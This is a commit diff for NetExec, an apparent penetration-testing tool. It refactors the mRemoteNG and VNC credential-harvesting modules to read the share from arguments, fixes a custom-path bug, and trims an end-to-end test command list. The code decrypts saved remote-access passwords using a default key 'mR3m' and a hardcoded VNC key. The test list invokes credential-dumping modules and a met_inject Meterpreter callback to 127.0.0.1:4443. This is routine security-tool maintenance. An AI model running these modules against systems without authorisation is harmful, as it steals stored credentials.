Skip to content

Commit dba83a4

Browse files
committed
multiple fixes
1 parent 67de1a1 commit dba83a4

3 files changed

Lines changed: 8 additions & 15 deletions

File tree

nxc/modules/mremoteng.py

Lines changed: 6 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -58,10 +58,6 @@ def options(self, context, module_options):
5858
"""
5959
self.context = context
6060

61-
self.share = "C$"
62-
if "SHARE" in module_options:
63-
self.share = module_options["SHARE"]
64-
6561
self.password = "mR3m"
6662
if "PASSWORD" in module_options:
6763
self.password = module_options["PASSWORD"]
@@ -74,8 +70,9 @@ def on_admin_login(self, context, connection):
7470
# 1. Evole conn into dploot conn
7571
self.context = context
7672
self.connection = connection
73+
self.share = connection.args.share
7774

78-
host = connection.hostname + "." + connection.domain
75+
host = f"{connection.hostname}.{connection.domain}"
7976
domain = connection.domain
8077
username = connection.username
8178
kerberos = connection.kerberos
@@ -114,10 +111,9 @@ def on_admin_login(self, context, connection):
114111
for path in self.custom_user_path:
115112
user_path = path.format(username=user)
116113
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
117-
if self.custom_path is not None:
118-
content = dploot_conn.readFile(self.share, self.custom_path)
119-
if content is None:
120-
continue
114+
if self.custom_path is not None:
115+
content = dploot_conn.readFile(self.share, self.custom_path)
116+
if content is not None:
121117
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
122118
self.handle_confCons_file(content)
123119

@@ -159,7 +155,7 @@ def handle_confCons_file(self, file_content):
159155
username = node_attribute["Username"]
160156
protocol = node_attribute["Protocol"]
161157
port = node_attribute["Port"]
162-
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else ""
158+
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
163159
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
164160

165161
def parse_xml_nodes(self, main):

nxc/modules/vnc.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,6 @@ def __init__(self, context=None, module_options=None):
3030
self.context = context
3131
self.module_options = module_options
3232
self.vnc_decryption_key = b"\xe8\x4a\xd6\x60\xc4\x72\x1a\xe0"
33-
self.share = "C$"
3433
self.false_positive = (
3534
".",
3635
"..",
@@ -50,6 +49,7 @@ def options(self, context, module_options):
5049
def on_admin_login(self, context, connection):
5150
self.context = context
5251
self.connection = connection
52+
self.share = self.connection.args.share
5353

5454
host = connection.hostname + "." + connection.domain
5555
domain = connection.domain

tests/e2e_commands.txt

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -99,10 +99,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky --
9999
# You must replace this with the proper CA information!
100100
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA"
101101
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject --options
102-
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
103-
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm --options
102+
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345
104103
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
105-
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng --options
106104
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
107105
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010 --options
108106
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010
@@ -154,7 +152,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac --op
154152
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac
155153
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam --options
156154
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam
157-
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc --options
158155
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
159156
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
160157
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest --options

0 commit comments

Comments
 (0)